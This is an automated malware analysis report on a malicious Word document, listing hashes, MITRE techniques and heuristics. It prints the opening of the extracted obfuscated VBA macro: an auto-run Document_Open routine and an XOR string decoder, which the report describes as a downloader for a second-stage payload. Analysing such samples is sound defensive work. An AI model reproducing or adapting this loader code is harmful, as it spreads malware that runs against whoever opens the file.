Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 50388d56f9c9293e…

MALICIOUS

Office (OOXML)

206.3 KB Created: 2019-02-04 15:08:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2019-04-18
MD5: a53ea054256e5414c889a4cbcf88aaf7 SHA-1: 779f883632a6d8a7a2f0639d5df6e1bc193a16f4 SHA-256: 50388d56f9c9293e18e3a963c99b77094382a80d4e3de805c925eddfa0b9109b
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an auto-executing Document_Open subroutine. This macro is obfuscated and uses the Shell() function, indicating it is designed to download and execute a second-stage payload. The presence of an auto-exec loader and the use of Shell() strongly suggest a downloader or droppper functionality, typical of many malware families.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 67305 bytes
SHA-256: b3b9c05299dca0b090b6aae7dd0cf33718f9da0ceb2c2c6cce304c0dff3c86d4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If ActiveDocument.Variables("waZMpYchWTeZZBUOstCgDiYKlZRlZupQHJuVQyNiRWnsHMzpiScBD").Value <> "toto" Then
ShTyNJzzBqkPsYr
ActiveDocument.Variables("waZMpYchWTeZZBUOstCgDiYKlZRlZupQHJuVQyNiRWnsHMzpiScBD").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub


Attribute VB_Name = "rEWnPUa"
Private Function XidXLamGlu(loWnYGtQey As Variant, LHDbTJApkf As Integer)
Dim tUXrwyqKfn, TDNWKzFDkU As String, ifxVtibbdn, iTrnZbekMw
tUXrwyqKfn = ""
ifxVtibbdn = 1
TDNWKzFDkU = ActiveDocument.Variables("waZMpYchWTeZZBUOstCgDiYKlZRlZupQHJuVQyNiRWnsHMzpiScBD").Value()
While ifxVtibbdn < UBound(loWnYGtQey) + 2
iTrnZbekMw = ifxVtibbdn Mod Len(TDNWKzFDkU): If iTrnZbekMw = 0 Then iTrnZbekMw = Len(TDNWKzFDkU)
tUXrwyqKfn = tUXrwyqKfn + Chr(Asc(Mid(TDNWKzFDkU, iTrnZbekMw + LHDbTJApkf, 1)) Xor CInt(loWnYGtQey(ifxVtibbdn - 1)))
ifxVtibbdn = ifxVtibbdn + 1
Wend
XidXLamGlu = tUXrwyqKfn
End Function
Private Function GMPMemCMI()
Dim JLnobZycE3 As Double
Dim m656b As String
Dim Lz1WAtqt As Integer
Dim iHJUrFq As Double
Dim ce3KFoqg As Integer
Dim fAXAtyL As Double
Dim ARu2OJ7mU As Integer
Dim T8by5AzCJ As Double
JLnobZycE3 = Tan(2.600674609)
m656b = LTrim(XidXLamGlu(Array(121, 63, 46, 58, 39, 63, 28, 7), 0))
Lz1WAtqt = Len(XidXLamGlu(Array(12, 21, 6), 2588))
iHJUrFq = Abs(5.810152393)
ce3KFoqg = Len(XidXLamGlu(Array(0, 68, 102, 52, 47, 32, 48, 63, 9, 38, 41, 7, 5, 11, 98, 32, 16, 16, 59, 2), 4036))
GMPMemCMI = XidXLamGlu(Array(46, 74, 43), 2336)
fAXAtyL = Abs(2.411411352)
ARu2OJ7mU = InStr(XidXLamGlu(Array(60, 31, 73, 42, 36, 14, 3, 72, 3, 31, 67, 122, 61, 39, 54, 109, 3, 60, 38), 3307), XidXLamGlu(Array(0, 63, 74, 50, 54, 121, 37, 1), 2748))
T8by5AzCJ = Atn(8.4709683)
End Function
Private Function LBwZSyXcUxTyKdS()
Dim eu31zxcoV As Integer
Dim tM65597 As String
Dim LKd6Jrv As Double
Dim UrrRVaPSMG As Double
Dim c1045a2QRZ As Integer
Dim oxT8bwar As Double
Dim N13o44TM As Integer
eu31zxcoV = InStr(XidXLamGlu(Array(56, 13, 18, 25, 2, 31, 38, 59, 19, 61, 98, 16, 87, 91), 4056), XidXLamGlu(Array(39, 11, 44, 39, 123, 21, 121, 40, 50, 10, 40, 8, 21), 5669))
tM65597 = UCase(XidXLamGlu(Array(65, 75, 31, 49, 91, 74, 3, 45, 63, 112, 29, 58, 95, 35, 25, 2, 40, 9, 54, 45, 47, _
59, 30, 55), 7558))
LKd6Jrv = Fix(5.5379762)
UrrRVaPSMG = Cos(10.88112)
c1045a2QRZ = InStrRev(XidXLamGlu(Array(36, 91, 13, 32, 13, 33, 20, 53, 20, 60, 25, 61, 21, 25, 15, 60, 0, 103, 14, 46, 18, _
46, 32, 107, 123, 23, 2, 37, 3, 35, 63, 21), 562), XidXLamGlu(Array(3, 67, 51, 55, 38, 57, 71, 11, 61, 54), 2054))
LBwZSyXcUxTyKdS = XidXLamGlu(Array(115, 12, 24, 97, 95, 19), 7543)
oxT8bwar = Atn(9.8973359466)
N13o44TM = Len(XidXLamGlu(Array(115, 27, 118, 22), 6277))
End Function
Private Function qtkXzKUuyWyr()
Dim siTudDAu As Double
Dim tst55878qr As String
Dim K4FxS9jh As Double
Dim kZnFoKkD As Double
Dim WhKN9jBzv As Double
Dim pkVX8657S5 As String
Dim FKAfpa7Xo As Double
siTudDAu = Exp(5.98360947)
tst55878qr = LCase(XidXLamGlu(Array(42, 37, 34, 12, 26, 28, 35, 11, 43, 54, 15, 18, 42, 58, 7, 32, 8, 9, 30, 25, 18, _
41), 5092))
qtkXzKUuyWyr = XidXLamGlu(Array(4, 17, 66, 39, 56, 120, 72), 5550)
K4FxS9jh = Cos(0.34160194)
kZnFoKkD = Sqr(2.07731)
WhKN9jBzv = Tan(8.61210874)
pkVX8657S5 = RTrim(XidXLamGlu(Array(34, 28, 32, 13, 19, 107, 102), 5865))
FKAfpa7Xo = Log(3.77783081)
End Function
Private Function wcQoBQFPikwVka()
Dim gFMxXV7 As Double
Dim bFiw2Au As Double
Dim H5ssnVfOR As Double
gFMxXV7 = Log(9.2607)
wcQoBQFPikwVka = XidXLamGlu(Array(57, 28, 42), 6631)
bFiw2Au = Sqr(2.62402)
H5ssnVfOR = Atn(1.22406)
End Function
Private Function ILPmVHuevO()
Dim x143g91V As Integer
Dim KIiW21w As Double
Dim r0mXdJp As Integer
x143g91V = Len(XidXLamGlu(Array(29, 48
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 132608 bytes
SHA-256: a747ce5068d8aaa3ca36f3940cffc03c7194d6676b2f164e653d56feab6b3556

Open this report in the interactive analyzer, or submit your own file for analysis.